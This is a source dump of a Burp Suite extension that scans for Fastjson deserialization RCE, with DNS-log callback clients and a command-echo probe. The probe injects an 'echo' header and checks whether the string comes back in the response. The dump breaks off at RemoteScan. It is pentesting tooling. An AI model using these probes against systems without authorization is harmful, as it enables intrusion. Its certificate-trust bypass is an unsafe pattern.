├── .gitignore
├── .idea
├── vcs.xml
├── .gitignore
├── encodings.xml
├── misc.xml
├── compiler.xml
├── jarRepositories.xml
└── uiDesigner.xml
├── src
└── main
│ └── java
│ └── burp
│ ├── dnslogs
│ ├── DnslogInterface.java
│ ├── DnsLog.java
│ └── impl
│ │ ├── BurpDnsLog.java
│ │ ├── CeyeDnslog.java
│ │ ├── DnsLogCn.java
│ │ └── EyesDnslog.java
│ ├── bean
│ ├── TargetInfo.java
│ ├── ScanResultType.java
│ ├── Issus.java
│ └── CustomBurpUrl.java
│ ├── extension
│ ├── ScanFactory.java
│ ├── scan
│ │ ├── impl
│ │ │ ├── CmdEchoScan.java
│ │ │ ├── RemoteScan.java
│ │ │ ├── libraryDetect.java
│ │ │ ├── lowPerceptScan.java
│ │ │ └── versionDetect.java
│ │ └── BaseScan.java
│ └── bypass
│ │ └── PayloadBypass.java
│ ├── ui
│ ├── Tags.java
│ ├── ScanQueueTag.java
│ └── BaseSettingTag.java
│ ├── utils
│ ├── FindJsons.java
│ ├── Customhelps.java
│ └── YamlReader.java
│ └── FastjsonScan.java
├── pom.xml
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | target/
2 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/src/main/java/burp/dnslogs/DnslogInterface.java:
--------------------------------------------------------------------------------
1 | package burp.dnslogs;
2 |
3 | public interface DnslogInterface {
4 | String getBodyContent();
5 |
6 | String getAllContent(String random);
7 |
8 | String getExtensionName();
9 |
10 | String getRandomDnsUrl();
11 |
12 | String getRandomPredomain();
13 |
14 | String checkConnection();
15 | }
16 |
--------------------------------------------------------------------------------
/src/main/java/burp/bean/TargetInfo.java:
--------------------------------------------------------------------------------
1 | package burp.bean;
2 |
3 | /**
4 | * @ClassName: TargetInfo
5 | * @Auther: niko
6 | * @Date: 2025/1/17 16:11
7 | * @Description:
8 | */
9 | public class TargetInfo {
10 | private boolean flag;
11 | private String key;
12 |
13 | public TargetInfo(boolean flag, String key) {
14 | this.flag = flag;
15 | this.key = key;
16 | }
17 |
18 | public boolean isFlag() {
19 | return flag;
20 | }
21 |
22 | public String getKey() {
23 | return key;
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/src/main/java/burp/bean/ScanResultType.java:
--------------------------------------------------------------------------------
1 | package burp.bean;
2 |
3 | public enum ScanResultType {
4 | PAYLOADS_FIND("[+] Payload find out"),
5 | MAY_FASTJSON("[+] Maybe use fastjson"),
6 | IS_FASTJSON("[+] Fastjson with Network"),
7 | NO_FASTJSON("[+] Maybe no fastjson"),
8 | VERSION_INFO("[+] version: %s"),
9 | LIBRARY_FOUND("[+] library: %s"),
10 | NOT_FOUND("[-] Payload not find"),
11 | DNS_ERROR("[-] Dnslog error"),
12 | WAIT_CONFIRM("[=] Task timeout");
13 | private final String messageFormat;
14 |
15 | ScanResultType(String messageFormat) {
16 | this.messageFormat = messageFormat;
17 | }
18 |
19 | public String format(Object... args) {
20 | return String.format(this.messageFormat, args);
21 | }
22 | }
--------------------------------------------------------------------------------
/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/src/main/java/burp/dnslogs/DnsLog.java:
--------------------------------------------------------------------------------
1 | package burp.dnslogs;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 |
5 | import java.lang.reflect.Constructor;
6 | import java.lang.reflect.InvocationTargetException;
7 |
8 | /**
9 | * @ClassName: DnsLog
10 | * @Auther: niko
11 | * @Date: 2025/2/9 14:35
12 | * @Description:
13 | */
14 | public class DnsLog {
15 | private DnslogInterface dnsLog;
16 |
17 | public DnsLog(IBurpExtenderCallbacks callbacks, String callClassName) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
18 | if (callClassName == null || callClassName.length() <= 0) {
19 | throw new IllegalArgumentException("DnsLog模块-请输入要调用的dnsLog插件");
20 | }
21 | Class c = Class.forName("burp.dnslogs.impl." + callClassName);
22 | Constructor cConstructor = c.getConstructor(IBurpExtenderCallbacks.class);
23 | this.dnsLog = (DnslogInterface) cConstructor.newInstance(callbacks);
24 |
25 | if (this.dnsLog.getExtensionName().isEmpty()) {
26 | throw new IllegalArgumentException("请为该DnsLog扩展-设置扩展名称");
27 | }
28 | }
29 |
30 | public DnslogInterface run(){
31 | return this.dnsLog;
32 | }
33 |
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/burp/extension/ScanFactory.java:
--------------------------------------------------------------------------------
1 | package burp.extension;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.extension.scan.BaseScan;
6 | import burp.IHttpRequestResponse;
7 | import java.lang.reflect.Constructor;
8 |
9 | public class ScanFactory {
10 |
11 | public static BaseScan createScan(String extendName,IHttpRequestResponse iHttpRequestResponse,IExtensionHelpers helpers,IBurpExtenderCallbacks callbacks,boolean isBypass,String dnsName) throws ClassNotFoundException, NoSuchMethodException {
12 | if (extendName == null || extendName.length()<=0){
13 | throw new IllegalArgumentException("无法找到调用的插件名称");
14 | }
15 |
16 | Class> clazz = Class.forName("burp.extension.scan.impl." + extendName);
17 | Constructor> declaredConstructor = clazz.getDeclaredConstructor(
18 | IBurpExtenderCallbacks.class,
19 | IHttpRequestResponse.class,
20 | IExtensionHelpers.class,
21 | boolean.class,
22 | String.class
23 | );
24 | try {
25 | return (BaseScan) declaredConstructor.newInstance(callbacks, iHttpRequestResponse, helpers,isBypass,dnsName);
26 | } catch (Exception e) {
27 | throw new ClassNotFoundException();
28 | }
29 |
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/src/main/java/burp/ui/Tags.java:
--------------------------------------------------------------------------------
1 | package burp.ui;
2 |
3 | import java.awt.*;
4 | import javax.swing.JTabbedPane;
5 |
6 | import burp.ITab;
7 | import burp.IBurpExtenderCallbacks;
8 | import burp.utils.YamlReader;
9 |
10 |
11 | public class Tags implements ITab {
12 | private final JTabbedPane tabs;
13 | private BaseSettingTag baseSettingTag;
14 | private String tagName;
15 | private ScanQueueTag scanQueueTag;
16 |
17 | public Tags(IBurpExtenderCallbacks callbacks, String name) {
18 | this.tagName = name;
19 |
20 | tabs = new JTabbedPane();
21 |
22 | YamlReader yamlReader = YamlReader.getInstance(callbacks);
23 |
24 | // 扫描队列-窗口
25 | ScanQueueTag scanQueueTag = new ScanQueueTag(callbacks, tabs);
26 | this.scanQueueTag = scanQueueTag;
27 |
28 | // 基本设置-窗口
29 | BaseSettingTag baseSettingTag = new BaseSettingTag(callbacks, tabs, yamlReader);
30 | this.baseSettingTag = baseSettingTag;
31 |
32 | // 自定义组件-导入
33 | callbacks.customizeUiComponent(tabs);
34 |
35 | // 将自定义选项卡添加到Burp的UI
36 | callbacks.addSuiteTab(Tags.this);
37 | }
38 |
39 | /**
40 | * 基础设置tag
41 | *
42 | * @return
43 | */
44 | // public BaseSettingTag getBaseSettingTagClass() {
45 | // return this.baseSettingTag;
46 | // }
47 |
48 | /**
49 | * 扫描队列tag
50 | * 可通过该类提供的方法,进行tag任务的添加与修改
51 | *
52 | * @return
53 | */
54 | public ScanQueueTag getScanQueueTagClass() {
55 | return this.scanQueueTag;
56 | }
57 |
58 | @Override
59 | public String getTabCaption() {
60 | return this.tagName;
61 | }
62 |
63 | @Override
64 | public Component getUiComponent() {
65 | return this.tabs;
66 | }
67 | /**
68 | * 基础设置tag
69 | *
70 | * @return
71 | */
72 | public BaseSettingTag getBaseSettingTagClass() {
73 | return this.baseSettingTag;
74 | }
75 | }
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | FastjsonScan4Burp
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 | UTF-8
15 |
16 |
17 |
18 | net.portswigger.burp.extender
19 | burp-extender-api
20 | 2.3
21 |
22 |
23 | com.intellij
24 | forms_rt
25 | 7.0.3
26 |
27 |
28 | com.google.code.gson
29 | gson
30 | 2.9.0
31 |
32 |
33 | com.github.kevinsawicki
34 | http-request
35 | 6.0
36 |
37 |
38 | org.yaml
39 | snakeyaml
40 | 1.29
41 |
42 |
43 |
44 |
45 |
46 | maven-assembly-plugin
47 |
48 |
49 | jar-with-dependencies
50 |
51 |
52 |
53 | burp.FastjsonScan
54 |
55 |
56 |
57 |
58 |
59 | make-assembly
60 | package
61 |
62 | single
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
--------------------------------------------------------------------------------
/src/main/java/burp/utils/FindJsons.java:
--------------------------------------------------------------------------------
1 | package burp.utils;
2 |
3 | import burp.*;
4 | import burp.bean.TargetInfo;
5 |
6 | import java.io.UnsupportedEncodingException;
7 | import java.net.URLDecoder;
8 | import java.util.List;
9 |
10 | /**
11 | * @ClassName: FindJsons
12 | * @Auther: niko
13 | * @Date: 2025/1/17 15:55
14 | * @Description:
15 | */
16 | public class FindJsons{
17 | private IExtensionHelpers helpers;
18 | private IHttpRequestResponse iHttpRequestResponse;
19 | private IRequestInfo requestInfo;
20 | private Boolean isJson;
21 | private String json;
22 |
23 |
24 | public FindJsons(IExtensionHelpers helpers, IHttpRequestResponse iHttpRequestResponse) {
25 | this.helpers = helpers;
26 | this.iHttpRequestResponse = iHttpRequestResponse;
27 | this.requestInfo = helpers.analyzeRequest(iHttpRequestResponse);
28 | }
29 | // GET/POST 方法,params是否带有fastjson
30 | public TargetInfo isParamsJson() {
31 | String value = null;
32 | List parameters = requestInfo.getParameters();
33 | for(IParameter parameter : parameters ){
34 | // 暂时不考虑对cookie进行fastjson检测
35 | if (parameter.getType() == IParameter.PARAM_URL||parameter.getType() == IParameter.PARAM_BODY){
36 | value = parameter.getValue();
37 | TargetInfo targetInfo = isJson(parameter.getName(),value);
38 | if (targetInfo.isFlag()){
39 | return targetInfo;
40 | }
41 | }
42 | }
43 | return new TargetInfo(false, null);
44 | }
45 |
46 | private TargetInfo isJson(String parameter, String str) {
47 | String key = null;
48 | boolean result = false;
49 | if (str != null && !str.isEmpty()) {
50 | try {
51 | str = URLDecoder.decode(str, "utf-8");
52 | } catch (UnsupportedEncodingException e) {
53 | throw new RuntimeException(e);
54 | }
55 | str = str.trim();
56 | if(str.indexOf("{") !=-1 && str.lastIndexOf("}")!=-1){
57 | key = parameter;
58 | result = true;
59 | }else if (str.indexOf("[") !=-1 && str.lastIndexOf("]")!=-1){
60 | key = parameter;
61 | result = true;
62 | }
63 | }
64 | TargetInfo targetInfo = new TargetInfo(result, key);
65 | return targetInfo;
66 | }
67 |
68 | // post content-type:json
69 | public TargetInfo isContypeJson(){
70 | String s = String.valueOf(requestInfo.getContentType());
71 | if ("4".equals(s)){
72 | return new TargetInfo(true,null);
73 | }
74 | return new TargetInfo(false,null);
75 |
76 | }
77 |
78 | }
79 |
80 |
--------------------------------------------------------------------------------
/src/main/java/burp/dnslogs/impl/BurpDnsLog.java:
--------------------------------------------------------------------------------
1 | package burp.dnslogs.impl;
2 |
3 | import java.util.Map;
4 | import java.util.List;
5 | import java.util.Arrays;
6 | import java.util.Iterator;
7 | import java.io.PrintWriter;
8 |
9 | import burp.IExtensionHelpers;
10 | import burp.IBurpExtenderCallbacks;
11 | import burp.IBurpCollaboratorInteraction;
12 | import burp.IBurpCollaboratorClientContext;
13 | import burp.dnslogs.DnslogInterface;
14 |
15 | public class BurpDnsLog implements DnslogInterface {
16 | private IBurpExtenderCallbacks callbacks;
17 | private IExtensionHelpers helpers;
18 |
19 | private IBurpCollaboratorClientContext burpCollaboratorClientContext;
20 |
21 | private String dnslogContent = "";
22 | private String randomDnsUrl;
23 |
24 | public BurpDnsLog(IBurpExtenderCallbacks callbacks) {
25 | this.callbacks = callbacks;
26 | this.helpers = callbacks.getHelpers();
27 |
28 | this.burpCollaboratorClientContext = callbacks.createBurpCollaboratorClientContext();
29 |
30 | this.init();
31 | }
32 |
33 | private void init() {
34 | // 通过burp组建获取临时dnslog域名
35 | String temporaryDomainName = this.burpCollaboratorClientContext.generatePayload(true);
36 | if (temporaryDomainName == null || temporaryDomainName.length() <= 0) {
37 | throw new RuntimeException(
38 | String.format(
39 | "%s 扩展-获取临时域名失败, 请检查本机是否可使用burp自带的dnslog客户端",
40 | this.getExtensionName()));
41 | }
42 | this.randomDnsUrl = temporaryDomainName;
43 | }
44 |
45 | @Override
46 | public String getBodyContent() {
47 | List collaboratorInteractions =
48 | this.burpCollaboratorClientContext.fetchCollaboratorInteractionsFor(this.randomDnsUrl);
49 | if (collaboratorInteractions != null && !collaboratorInteractions.isEmpty()) {
50 | Iterator iterator = collaboratorInteractions.iterator();
51 |
52 | Map properties = iterator.next().getProperties();
53 | if (properties.size() == 0) {
54 | return this.dnslogContent;
55 | }
56 |
57 | String content = null;
58 | for (String property : properties.keySet()) {
59 | String text = properties.get(property);
60 | if (property.equals("raw_query")) {
61 | text = new String(this.helpers.base64Decode(text));
62 | }
63 | content += text + " ";
64 | }
65 | this.dnslogContent += content;
66 | return this.dnslogContent;
67 | }
68 | return this.dnslogContent;
69 | }
70 |
71 | @Override
72 | public String getAllContent(String random) {
73 | return null;
74 | }
75 |
76 | @Override
77 | public String getExtensionName() {
78 | return "BurpDnsLog";
79 | }
80 |
81 | @Override
82 | public String getRandomDnsUrl() {
83 | return randomDnsUrl;
84 | }
85 |
86 | @Override
87 | public String getRandomPredomain() {
88 | return this.randomDnsUrl.substring(0, this.randomDnsUrl.indexOf("."));
89 | }
90 |
91 | @Override
92 | public String checkConnection() {
93 | return "";
94 | }
95 | }
96 |
--------------------------------------------------------------------------------
/src/main/java/burp/bean/Issus.java:
--------------------------------------------------------------------------------
1 | package burp.bean;
2 |
3 | import burp.IHttpRequestResponse;
4 | import burp.IHttpService;
5 | import burp.IScanIssue;
6 |
7 | import java.net.URL;
8 |
9 | /**
10 | * @ClassName: Issus
11 | * @Auther: niko
12 | * @Date: 2025/2/1 19:22
13 | * @Description:
14 | */
15 | ///**
16 | // *
17 | // * @param url 漏洞地址
18 | // * @param issueName 漏洞名
19 | // * @param issueType 漏洞类型?,默认0,不知道干啥的
20 | // * @param severity 漏洞等级;"High", "Medium", "Low", "Information" "False positive" 5选1
21 | // * @param confidence 置信度,或者说漏洞存在的信心;"Certain", "Firm" "Tentative" 3选1
22 | // * @param issueBackground 漏洞背景,设置为null不显示
23 | // * @param remediationBackground 修复背景,设置为null不显示
24 | // * @param issueDetail 漏洞描述
25 | // * @param remediationDetail 修复建议
26 | // * @param httpMessages 漏洞请求
27 | // * @param httpService 漏洞的httpService
28 | // */
29 | public class Issus implements IScanIssue {
30 | public enum State{
31 | SAVE,ADD,TIMEOUT,ERROR
32 | }
33 | private URL url;
34 | private String method;
35 | private String status;
36 | private String payload;
37 | private String result;
38 | private IHttpRequestResponse iHttpRequestResponse;
39 | private State state;
40 | private String extentsionMethod;
41 |
42 | public Issus(URL url, String method, String extentsionMethod,String status, String payload, String result, IHttpRequestResponse iHttpRequestResponse, State state) {
43 | this.url = url;
44 | this.method = method;
45 | this.status = status;
46 | this.payload = payload;
47 | this.result = result;
48 | this.extentsionMethod = extentsionMethod;
49 | this.iHttpRequestResponse = iHttpRequestResponse;
50 | this.state = state;
51 | }
52 |
53 | public String getMethod() {
54 | return method;
55 | }
56 |
57 | public String getStatus() {
58 | return status;
59 | }
60 |
61 |
62 | public String getExtentsionMethod() {
63 | return extentsionMethod;
64 | }
65 | public String getPayload(){
66 | return payload;
67 | }
68 |
69 |
70 | public String getResult() {
71 | return result;
72 | }
73 |
74 | public IHttpRequestResponse getiHttpRequestResponse() {
75 | return iHttpRequestResponse;
76 | }
77 |
78 |
79 |
80 |
81 | @Override
82 | public URL getUrl() {
83 | return url;
84 | }
85 |
86 | @Override
87 | public String getIssueName() {
88 | return "fastjson rce";
89 | }
90 |
91 | @Override
92 | public int getIssueType() {
93 | return 0;
94 | }
95 |
96 | @Override
97 | public String getSeverity() {
98 | return "High";
99 | }
100 |
101 | @Override
102 | public String getConfidence() {
103 | return "Certain";
104 | }
105 |
106 | @Override
107 | public String getIssueBackground() {
108 | return "漏洞背景";
109 | }
110 |
111 | @Override
112 | public String getRemediationBackground() {
113 | return "修复背景";
114 | }
115 |
116 | @Override
117 | public String getIssueDetail() {
118 | return payload;
119 | }
120 |
121 | @Override
122 | public String getRemediationDetail() {
123 | return "修复建议";
124 | }
125 |
126 | @Override
127 | public IHttpRequestResponse[] getHttpMessages() {
128 | return new IHttpRequestResponse[]{iHttpRequestResponse};
129 | }
130 |
131 | @Override
132 | public IHttpService getHttpService() {
133 | return iHttpRequestResponse.getHttpService();
134 | }
135 |
136 | public void setUrl(URL url) {
137 | this.url = url;
138 | }
139 |
140 | public State getState() {
141 | return state;
142 | }
143 |
144 | public void setPayload(String payload) {
145 | this.payload = payload;
146 | }
147 | }
148 |
--------------------------------------------------------------------------------
/src/main/java/burp/dnslogs/impl/CeyeDnslog.java:
--------------------------------------------------------------------------------
1 | package burp.dnslogs.impl;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.dnslogs.DnslogInterface;
5 | import burp.utils.Customhelps;
6 | import burp.utils.YamlReader;
7 | import com.github.kevinsawicki.http.HttpRequest;
8 |
9 | /**
10 | * @ClassName: Ceye
11 | * @Auther: niko
12 | * @Date: 2025/1/20 16:10
13 | * @Description:
14 | */
15 | public class CeyeDnslog implements DnslogInterface {
16 |
17 | private String Identifier;
18 | private String token;
19 | private String random;
20 | private String api;
21 | private YamlReader yamlReader;
22 | private String randomDnsUrl;
23 |
24 |
25 | public CeyeDnslog(IBurpExtenderCallbacks callbacks){
26 | Customhelps customhelps = new Customhelps();
27 | this.yamlReader = YamlReader.getInstance(callbacks);
28 | this.api = "http://api.ceye.io";
29 | this.Identifier = yamlReader.getString("dnsLogModule.CeyeDnslog.Identifier").trim();
30 | this.random = customhelps.randomString(4);
31 | this.token = yamlReader.getString("dnsLogModule.CeyeDnslog.token").trim();
32 | init();
33 | }
34 | private void init() {
35 | if (this.token == null || this.token.length() <= 0) {
36 | throw new RuntimeException(String.format("%s 扩展-token参数不能为空", this.getExtensionName()));
37 | }
38 | if (this.Identifier == null || this.Identifier.length() <= 0) {
39 | throw new RuntimeException(String.format("%s 扩展-key参数不能为空", this.getExtensionName()));
40 | }
41 | String temporaryDomainName = this.random + "." + this.Identifier + "." + "ceye.io";
42 | this.randomDnsUrl = temporaryDomainName;
43 | }
44 | @Override
45 | public String getRandomDnsUrl() {
46 | return this.randomDnsUrl;
47 | }
48 |
49 | @Override
50 | public String getRandomPredomain() {
51 | return this.random;
52 | }
53 |
54 | @Override
55 | public String checkConnection() {
56 | return "";
57 | }
58 |
59 | @Override
60 | public String getBodyContent() {
61 | String url = String.format("%s/v1/records?token=%s&type=dns&filter=%s",api,token,"random");
62 | HttpRequest httpRequest = HttpRequest.get(url);
63 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/604.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0";
64 | httpRequest.header("User-Agent",ua);
65 | httpRequest.header("Accept","*/*");
66 | httpRequest.trustAllCerts();
67 | httpRequest.trustAllHosts();
68 | httpRequest.readTimeout(30 * 1000);
69 | httpRequest.connectTimeout(30 * 1000);
70 | httpRequest.followRedirects(false);
71 |
72 | String body = httpRequest.body();
73 | if (!httpRequest.ok()){
74 | throw new RuntimeException(
75 | String.format(
76 | "%s 扩展-内容有异常,异常内容: %s",
77 | this.api,
78 | body
79 | )
80 | );
81 | }
82 | if (body.contains("[]")){
83 | return null;
84 | }
85 | return body;
86 | }
87 |
88 | @Override
89 | public String getAllContent(String random) {
90 | String url = String.format("%s/v1/records?token=%s&type=dns",api,token);
91 | HttpRequest httpRequest = HttpRequest.get(url);
92 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/604.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0";
93 | httpRequest.header("User-Agent",ua);
94 | httpRequest.header("Accept","*/*");
95 | httpRequest.trustAllCerts();
96 | httpRequest.trustAllHosts();
97 | httpRequest.readTimeout(30 * 1000);
98 | httpRequest.connectTimeout(30 * 1000);
99 | httpRequest.followRedirects(false);
100 |
101 | String body = httpRequest.body();
102 | if (!httpRequest.ok()){
103 | throw new RuntimeException(
104 | String.format(
105 | "%s 扩展-内容有异常,异常内容: %s",
106 | this.api,
107 | body
108 | )
109 | );
110 | }
111 | if (body.contains("[]")){
112 | return null;
113 | }
114 | return body;
115 | }
116 |
117 | @Override
118 | public String getExtensionName() {
119 | return "CeyeDnslog";
120 | }
121 |
122 | }
123 |
--------------------------------------------------------------------------------
/src/main/java/burp/extension/scan/impl/CmdEchoScan.java:
--------------------------------------------------------------------------------
1 | package burp.extension.scan.impl;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.bean.CustomBurpUrl;
7 | import burp.bean.Issus;
8 | import burp.bean.ScanResultType;
9 | import burp.extension.scan.BaseScan;
10 | import burp.utils.Customhelps;
11 |
12 | import java.util.ArrayList;
13 | import java.util.Iterator;
14 | import java.util.List;
15 |
16 | import static burp.utils.Customhelps.tabFormat;
17 |
18 | /**
19 | * @ClassName: CmdEchoScan
20 | * @Auther: niko
21 | * @Date: 2025/2/7 22:45
22 | * @Description:
23 | */
24 | public class CmdEchoScan extends BaseScan {
25 |
26 | public CmdEchoScan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) {
27 | super(callbacks, iHttpRequestResponse, helpers, isBypass, dnsName);
28 | }
29 |
30 | @Override
31 | public List insertPayloads(String jsonKey) {
32 | boolean flag = true;
33 | IHttpRequestResponse newRequestResonse = null;
34 | List issuses = new ArrayList<>();
35 | Issus issus = null;
36 | List payloads = this.yamlReader.getStringList("application.cmdEchoExtension.config.payloads");
37 | Iterator payloadIterator = payloads.iterator();
38 | String cmdHeader = this.yamlReader.getString("application.cmdEchoExtension.config.commandInputPointField");
39 | String randomString = new Customhelps().randomString(16);
40 | cmdHeader = cmdHeader + ": echo " + randomString;
41 | List headers = new ArrayList<>();
42 | headers = customBurpUrl.getHttpRequestHeaders();
43 | headers.add(cmdHeader);
44 | byte[] bytes = helpers.buildHttpMessage(headers, new byte[0]);
45 | iHttpRequestResponse = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(),bytes);
46 | customBurpUrl = new CustomBurpUrl(callbacks,iHttpRequestResponse);
47 | while (payloadIterator.hasNext()){
48 | String payload = payloadIterator.next();
49 | if (jsonKey ==null || jsonKey.length()<=0){
50 | newRequestResonse = run(payload);
51 |
52 | }else {
53 | newRequestResonse = run(payload, jsonKey);
54 | }
55 | try {
56 | Thread.sleep(3000);
57 | } catch (InterruptedException e) {
58 | throw new RuntimeException(e);
59 | }
60 | String responseBody = null;
61 | responseBody = customBurpUrl.getHttpResponseBody();
62 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload,responseBody);
63 |
64 | if (responseBody.contains(randomString)){
65 | if (flag){
66 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
67 | customBurpUrl.getRequestMethod(),
68 | getExtensionName(),
69 | customBurpUrl.getHttpResponseStatus(),
70 | payload,
71 | tabFormat(ScanResultType.PAYLOADS_FIND),
72 | newRequestResonse,
73 | Issus.State.SAVE);
74 | issuses.add(issus);
75 | flag = false;
76 | }else {
77 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
78 | customBurpUrl.getRequestMethod(),
79 | getExtensionName(),
80 | customBurpUrl.getHttpResponseStatus(),
81 | payload,
82 | tabFormat(ScanResultType.PAYLOADS_FIND),
83 | newRequestResonse,
84 | Issus.State.ADD);
85 | issuses.add(issus);
86 | }
87 | }
88 | }
89 | if (issuses.isEmpty()){
90 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
91 | customBurpUrl.getRequestMethod(),
92 | getExtensionName(),
93 | customBurpUrl.getHttpResponseStatus(),
94 | null,
95 | tabFormat(ScanResultType.NOT_FOUND),
96 | this.iHttpRequestResponse,
97 | Issus.State.SAVE);
98 | issuses.add(issus);
99 | }
100 | return issuses;
101 | }
102 |
103 | @Override
104 | public String getExtensionName() {
105 | return "CmdEchoScan";
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/src/main/java/burp/dnslogs/impl/DnsLogCn.java:
--------------------------------------------------------------------------------
1 | package burp.dnslogs.impl;
2 | import java.io.PrintWriter;
3 |
4 | import burp.dnslogs.DnslogInterface;
5 | import burp.utils.Customhelps;
6 | import com.github.kevinsawicki.http.HttpRequest;
7 | import burp.IBurpExtenderCallbacks;
8 |
9 | public class DnsLogCn implements DnslogInterface {
10 | private IBurpExtenderCallbacks callbacks;
11 |
12 | private String dnslogDomainName;
13 |
14 | private String dnsLogCookieName;
15 | private String dnsLogCookieValue;
16 | private String randomDnsUrl;
17 |
18 | public DnsLogCn(IBurpExtenderCallbacks callbacks) {
19 | this.callbacks = callbacks;
20 |
21 | this.dnslogDomainName = "http://dnslog.cn";
22 |
23 | this.init();
24 | }
25 |
26 | private void init() {
27 | String url = this.dnslogDomainName + "/getdomain.php";
28 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
29 |
30 | HttpRequest request = HttpRequest.get(url);
31 | request.trustAllCerts();
32 | request.trustAllHosts();
33 | request.followRedirects(false);
34 | request.header("User-Agent", userAgent);
35 | request.header("Accept", "*/*");
36 | request.readTimeout(30 * 1000);
37 | request.connectTimeout(30 * 1000);
38 |
39 | int statusCode = request.code();
40 | if (statusCode != 200) {
41 | throw new RuntimeException(
42 | String.format(
43 | "%s 扩展-访问url-%s, 请检查本机是否可访问 %s",
44 | this.getExtensionName(),
45 | statusCode,
46 | url));
47 | }
48 |
49 | // 设置 dnslog 的临时域名
50 | String temporaryDomainName = request.body();
51 | if (request.isBodyEmpty()) {
52 | throw new RuntimeException(
53 | String.format(
54 | "%s 扩展-获取临时域名失败, 请检查本机是否可访问 %s",
55 | this.getExtensionName(),
56 | this.dnslogDomainName));
57 | }
58 | this.randomDnsUrl= temporaryDomainName;
59 |
60 | String cookie = request.header("Set-Cookie");
61 | System.out.println(cookie);
62 | String sessidKey = "PHPSESSID";
63 | String sessidValue = Customhelps.getParam(cookie, sessidKey);
64 | if (sessidValue.length() == 0) {
65 | throw new IllegalArgumentException(
66 | String.format(
67 | "%s 扩展-访问站点 %s 时返回Cookie为空, 导致无法正常获取dnsLog数据, 请检查",
68 | this.getExtensionName(),
69 | this.dnslogDomainName));
70 | }
71 |
72 | this.dnsLogCookieName = sessidKey;
73 | this.dnsLogCookieValue = sessidValue;
74 | }
75 |
76 | @Override
77 | public String getBodyContent() {
78 | String url = this.dnslogDomainName + "/getrecords.php";
79 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
80 |
81 | HttpRequest request = HttpRequest.get(url);
82 | request.trustAllCerts();
83 | request.trustAllHosts();
84 | request.followRedirects(false);
85 | request.header("User-Agent", userAgent);
86 | request.header("Accept", "*/*");
87 | request.header("Cookie", this.dnsLogCookieName + "=" + this.dnsLogCookieValue + ";");
88 | request.readTimeout(30 * 1000);
89 | request.connectTimeout(30 * 1000);
90 |
91 | String body = request.body();
92 |
93 | if (!request.ok()) {
94 | throw new RuntimeException(
95 | String.format(
96 | "%s 扩展-%s内容有异常,异常内容: %s",
97 | this.getExtensionName(),
98 | this.dnslogDomainName,
99 | body
100 | )
101 | );
102 | }
103 |
104 | if (body.equals("[]")) {
105 | return null;
106 | }
107 | return body;
108 | }
109 |
110 | @Override
111 | public String getAllContent(String random) {
112 | return null;
113 | }
114 |
115 | @Override
116 | public String getExtensionName() {
117 | return "DnsLogCn";
118 | }
119 |
120 | @Override
121 | public String getRandomDnsUrl() {
122 | return this.randomDnsUrl;
123 | }
124 |
125 | @Override
126 | public String getRandomPredomain() {
127 | return this.randomDnsUrl.replace(".dnslog.cn","");
128 | }
129 |
130 | @Override
131 | public String checkConnection() {
132 | return "";
133 | }
134 | }
135 |
--------------------------------------------------------------------------------
/src/main/java/burp/extension/scan/impl/RemoteScan.java:
--------------------------------------------------------------------------------
1 | package burp.extension.scan.impl;
2 |
3 | import burp.*;
4 | import burp.bean.Issus;
5 | import burp.bean.ScanResultType;
